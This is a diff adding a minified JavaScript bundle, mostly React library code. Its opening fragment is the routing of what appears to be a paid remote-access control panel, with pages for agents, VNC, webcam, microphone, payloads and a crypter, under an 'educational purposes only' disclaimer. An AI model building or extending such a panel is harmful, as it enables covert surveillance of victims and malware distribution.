1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Rl({children:e}){const{isAuthenticated:t}=Xa();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Bi,{to:"/",replace:!0})}function uV({children:e}){const{isAuthenticated:t,isAdmin:n}=Xa();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Bi,{to:"/",replace:!0}):s.jsx(Bi,{to:"/login",replace:!0})}function y2({children:e}){const{isAuthenticated:t}=Xa();return t?s.jsx(Bi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function dV(){const[e]=nx(),t=Qn();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(rx(n),ii()),t("/dashboard",{replace:!0})},[e,t]),null}function fV(){const{isAuthenticated:e}=Xa();return e?s.jsx(Bi,{to:"/dashboard",replace:!0}):ax()?s.jsx(zA,{}):s.jsx(Bi,{to:"/login",replace:!0})}function pV(){return s.jsx(UE,{children:s.jsxs(ZP,{children:[s.jsx(lt,{path:"/",element:s.jsx(fV,{})}),s.jsx(lt,{path:"/auth",element:s.jsx(dV,{})}),s.jsx(lt,{path:"/features",element:s.jsx(cV,{})}),s.jsx(lt,{path:"/payment/:id",element:s.jsx(rV,{})}),s.jsx(lt,{path:"/login",element:s.jsx(y2,{children:s.jsx(CA,{})})}),s.jsx(lt,{path:"/register",element:s.jsx(y2,{children:s.jsx(PA,{})})}),s.jsx(lt,{path:"/vnc/:id",element:s.jsx(Rl,{children:s.jsx(FU,{})})}),s.jsx(lt,{path:"/webcam/:id",element:s.jsx(Rl,{children:s.jsx(qU,{})})}),s.jsx(lt,{path:"/mic/:id",element:s.jsx(Rl,{children:s.jsx(GU,{})})}),s.jsxs(lt,{element:s.jsx(Rl,{children:s.jsx(yA,{})}),children:[s.jsx(lt,{path:"/dashboard",element:s.jsx(cU,{})}),s.jsx(lt,{path:"/agents/:id",element:s.jsx(MU,{})}),s.jsx(lt,{path:"/events",element:s.jsx(IU,{})}),s.jsx(lt,{path:"/payloads",element:s.jsx($U,{})}),s.jsx(lt,{path:"/crypter",element:s.jsx(eV,{})}),s.jsx(lt,{path:"/admin",element:s.jsx(uV,{children:s.jsx(JU,{})})})]}),s.jsx(lt,{path:"*",element:s.jsx(Bi,{to:"/",replace:!0})})]})})}up.createRoot(document.getElementById("root")).render(s.jsx(oh.StrictMode,{children:s.jsx(sE,{children:s.jsx(pV,{})})})); diff --git a/dist/assets/index-GSEJCIsq.js b/dist/assets/index-GSEJCIsq.js new file mode 100755 index 0000000..68d9372 --- /dev/null +++ b/dist/assets/index-GSEJCIsq.js @@ -0,0 +1,440 @@ +var qS=Object.defineProperty;var YS=(e,t,n)=>t in e?qS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var vf=(e,t,n)=>YS(e,typeof t!="symbol"?t+"":t,n);function GS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function Lr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var I2={exports:{}},Ru={},D2={exports:{}},je={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Wo=Symbol.for("react.element"),XS=Symbol.for("react.portal"),ZS=Symbol.for("react.fragment"),QS=Symbol.for("react.strict_mode"),JS=Symbol.for("react.profiler"),ez=Symbol.for("react.provider"),tz=Symbol.for("react.context"),nz=Symbol.for("react.forward_ref"),rz=Symbol.for("react.suspense"),iz=Symbol.for("react.memo"),az=Symbol.for("react.lazy"),vv=Symbol.iterator;function sz(e){return e===null||typeof e!="object"?null:(e=vv&&e[vv]||e["@@iterator"],typeof e=="function"?e:null)}var R2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},$2=Object.assign,B2={};function rs(e,t,n){this.props=e,this.context=t,this.refs=B2,this.updater=n||R2}rs.prototype.isReactComponent={};rs.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};rs.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function F2(){}F2.prototype=rs.prototype;function vh(e,t,n){this.props=e,this.context=t,this.refs=B2,this.updater=n||R2}var gh=vh.prototype=new F2;gh.constructor=vh;$2(gh,rs.prototype);gh.isPureReactComponent=!0;var gv=Array.isArray,W2=Object.prototype.hasOwnProperty,yh={current:null},U2={key:!0,ref:!0,__self:!0,__source:!0};function V2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)W2.call(t,r)&&!U2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,X=R[H];if(0>>1;Hi(ge,$))xei(Y,ge)?(R[H]=Y,R[xe]=$,H=xe):(R[H]=ge,R[ue]=$,H=ue);else if(xei(Y,$))R[H]=Y,R[xe]=$,H=xe;else break e}}return W}function i(R,W){var $=R.sortIndex-W.sortIndex;return $!==0?$:R.id-W.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(R){for(var W=n(u);W!==null;){if(W.callback===null)r(u);else if(W.startTime<=R)r(u),W.sortIndex=W.expirationTime,t(c,W);else break;W=n(u)}}function j(R){if(g=!1,w(R),!x)if(n(c)!==null)x=!0,M(k);else{var W=n(u);W!==null&&F(j,W.startTime-R)}}function k(R,W){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var $=m;try{for(w(W),f=n(c);f!==null&&(!(f.expirationTime>W)||R&&!O());){var H=f.callback;if(typeof H=="function"){f.callback=null,m=f.priorityLevel;var X=H(f.expirationTime<=W);W=e.unstable_now(),typeof X=="function"?f.callback=X:f===n(c)&&r(c),w(W)}else r(c);f=n(c)}if(f!==null)var se=!0;else{var ue=n(u);ue!==null&&F(j,ue.startTime-W),se=!1}return se}finally{f=null,m=$,h=!1}}var S=!1,N=null,z=-1,_=5,A=-1;function O(){return!(e.unstable_now()-A<_)}function P(){if(N!==null){var R=e.unstable_now();A=R;var W=!0;try{W=N(!0,R)}finally{W?I():(S=!1,N=null)}}else S=!1}var I;if(typeof b=="function")I=function(){b(P)};else if(typeof MessageChannel<"u"){var U=new MessageChannel,D=U.port2;U.port1.onmessage=P,I=function(){D.postMessage(null)}}else I=function(){y(P,0)};function M(R){N=R,S||(S=!0,I())}function F(R,W){z=y(function(){R(e.unstable_now())},W)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(R){R.callback=null},e.unstable_continueExecution=function(){x||h||(x=!0,M(k))},e.unstable_forceFrameRate=function(R){0>R||125H?(R.sortIndex=$,t(u,R),n(c)===null&&R===n(u)&&(g?(v(z),z=-1):g=!0,F(j,$-H))):(R.sortIndex=X,t(c,R),x||h||(x=!0,M(k))),R},e.unstable_shouldYield=O,e.unstable_wrapCallback=function(R){var W=m;return function(){var $=m;m=W;try{return R.apply(this,arguments)}finally{m=$}}}})(X2);G2.exports=X2;var vz=G2.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var gz=p,ln=vz;function Q(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Sp=Object.prototype.hasOwnProperty,yz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,bv={},wv={};function bz(e){return Sp.call(wv,e)?!0:Sp.call(bv,e)?!1:yz.test(e)?wv[e]=!0:(bv[e]=!0,!1)}function wz(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function jz(e,t,n,r){if(t===null||typeof t>"u"||wz(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function $t(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var Ct={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Ct[e]=new $t(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Ct[t]=new $t(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Ct[e]=new $t(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Ct[e]=new $t(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Ct[e]=new $t(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Ct[e]=new $t(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Ct[e]=new $t(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Ct[e]=new $t(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Ct[e]=new $t(e,5,!1,e.toLowerCase(),null,!1,!1)});var jh=/[\-:]([a-z])/g;function kh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new $t(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new $t(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new $t(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Ct[e]=new $t(e,1,!1,e.toLowerCase(),null,!1,!1)});Ct.xlinkHref=new $t("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Ct[e]=new $t(e,1,!1,e.toLowerCase(),null,!0,!0)});function Nh(e,t,n,r){var i=Ct.hasOwnProperty(t)?Ct[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==a[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{bf=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Fs(e):""}function kz(e){switch(e.tag){case 5:return Fs(e.type);case 16:return Fs("Lazy");case 13:return Fs("Suspense");case 19:return Fs("SuspenseList");case 0:case 2:case 15:return e=wf(e.type,!1),e;case 11:return e=wf(e.type.render,!1),e;case 1:return e=wf(e.type,!0),e;default:return""}}function Ep(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case ya:return"Fragment";case ga:return"Portal";case zp:return"Profiler";case Sh:return"StrictMode";case Cp:return"Suspense";case Pp:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case J2:return(e.displayName||"Context")+".Consumer";case Q2:return(e._context.displayName||"Context")+".Provider";case zh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Ch:return t=e.displayName||null,t!==null?t:Ep(e.type)||"Memo";case Kr:t=e._payload,e=e._init;try{return Ep(e(t))}catch{}}return null}function Nz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ep(t);case 8:return t===Sh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function mi(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function tw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function Sz(e){var t=tw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function xl(e){e._valueTracker||(e._valueTracker=Sz(e))}function nw(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=tw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function gc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Ap(e,t){var n=t.checked;return Ge({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function kv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=mi(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function rw(e,t){t=t.checked,t!=null&&Nh(e,"checked",t,!1)}function _p(e,t){rw(e,t);var n=mi(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Op(e,t.type,n):t.hasOwnProperty("defaultValue")&&Op(e,t.type,mi(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Nv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Op(e,t,n){(t!=="number"||gc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Ws=Array.isArray;function Ta(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=vl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function io(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Ys={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},zz=["Webkit","ms","Moz","O"];Object.keys(Ys).forEach(function(e){zz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Ys[t]=Ys[e]})});function ow(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Ys.hasOwnProperty(e)&&Ys[e]?(""+t).trim():t+"px"}function lw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=ow(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var Cz=Ge({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Lp(e,t){if(t){if(Cz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(Q(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(Q(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(Q(61))}if(t.style!=null&&typeof t.style!="object")throw Error(Q(62))}}function Ip(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Dp=null;function Ph(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Rp=null,Ma=null,La=null;function Cv(e){if(e=Ho(e)){if(typeof Rp!="function")throw Error(Q(280));var t=e.stateNode;t&&(t=Uu(t),Rp(e.stateNode,e.type,t))}}function cw(e){Ma?La?La.push(e):La=[e]:Ma=e}function uw(){if(Ma){var e=Ma,t=La;if(La=Ma=null,Cv(e),t)for(e=0;e>>=0,e===0?32:31-(Rz(e)/$z|0)|0}var gl=64,yl=4194304;function Us(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function jc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Us(l):(a&=o,a!==0&&(r=Us(a)))}else o=n&~i,o!==0?r=Us(o):a!==0&&(r=Us(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Uo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-$n(t),e[t]=n}function Uz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=Xs),Iv=" ",Dv=!1;function Aw(e,t){switch(e){case"keyup":return vC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function _w(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var ba=!1;function yC(e,t){switch(e){case"compositionend":return _w(t);case"keypress":return t.which!==32?null:(Dv=!0,Iv);case"textInput":return e=t.data,e===Iv&&Dv?null:e;default:return null}}function bC(e,t){if(ba)return e==="compositionend"||!Ih&&Aw(e,t)?(e=Pw(),nc=Th=Qr=null,ba=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Fv(n)}}function Lw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Lw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Iw(){for(var e=window,t=gc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=gc(e.document)}return t}function Dh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function EC(e){var t=Iw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Lw(n.ownerDocument.documentElement,n)){if(r!==null&&Dh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=Wv(n,a);var o=Wv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,wa=null,Vp=null,Qs=null,Hp=!1;function Uv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Hp||wa==null||wa!==gc(r)||(r=wa,"selectionStart"in r&&Dh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),Qs&&uo(Qs,r)||(Qs=r,r=Sc(Vp,"onSelect"),0Na||(e.current=Zp[Na],Zp[Na]=null,Na--)}function De(e,t){Na++,Zp[Na]=e.current,e.current=t}var hi={},Ot=bi(hi),Kt=bi(!1),qi=hi;function Ua(e,t){var n=e.type.contextTypes;if(!n)return hi;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function qt(e){return e=e.childContextTypes,e!=null}function Cc(){Be(Kt),Be(Ot)}function Xv(e,t,n){if(Ot.current!==hi)throw Error(Q(168));De(Ot,t),De(Kt,n)}function Hw(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(Q(108,Nz(e)||"Unknown",i));return Ge({},n,r)}function Pc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||hi,qi=Ot.current,De(Ot,e),De(Kt,Kt.current),!0}function Zv(e,t,n){var r=e.stateNode;if(!r)throw Error(Q(169));n?(e=Hw(e,t,qi),r.__reactInternalMemoizedMergedChildContext=e,Be(Kt),Be(Ot),De(Ot,e)):Be(Kt),De(Kt,n)}var hr=null,Vu=!1,Lf=!1;function Kw(e){hr===null?hr=[e]:hr.push(e)}function FC(e){Vu=!0,Kw(e)}function wi(){if(!Lf&&hr!==null){Lf=!0;var e=0,t=Ae;try{var n=hr;for(Ae=1;e>=o,i-=o,vr=1<<32-$n(t)+i|n<z?(_=N,N=null):_=N.sibling;var A=m(v,N,w[z],j);if(A===null){N===null&&(N=_);break}e&&N&&A.alternate===null&&t(v,N),b=a(A,b,z),S===null?k=A:S.sibling=A,S=A,N=_}if(z===w.length)return n(v,N),Ve&&Ei(v,z),k;if(N===null){for(;zz?(_=N,N=null):_=N.sibling;var O=m(v,N,A.value,j);if(O===null){N===null&&(N=_);break}e&&N&&O.alternate===null&&t(v,N),b=a(O,b,z),S===null?k=O:S.sibling=O,S=O,N=_}if(A.done)return n(v,N),Ve&&Ei(v,z),k;if(N===null){for(;!A.done;z++,A=w.next())A=f(v,A.value,j),A!==null&&(b=a(A,b,z),S===null?k=A:S.sibling=A,S=A);return Ve&&Ei(v,z),k}for(N=r(v,N);!A.done;z++,A=w.next())A=h(N,v,z,A.value,j),A!==null&&(e&&A.alternate!==null&&N.delete(A.key===null?z:A.key),b=a(A,b,z),S===null?k=A:S.sibling=A,S=A);return e&&N.forEach(function(P){return t(v,P)}),Ve&&Ei(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===ya&&w.key===null&&(w=w.props.children),typeof 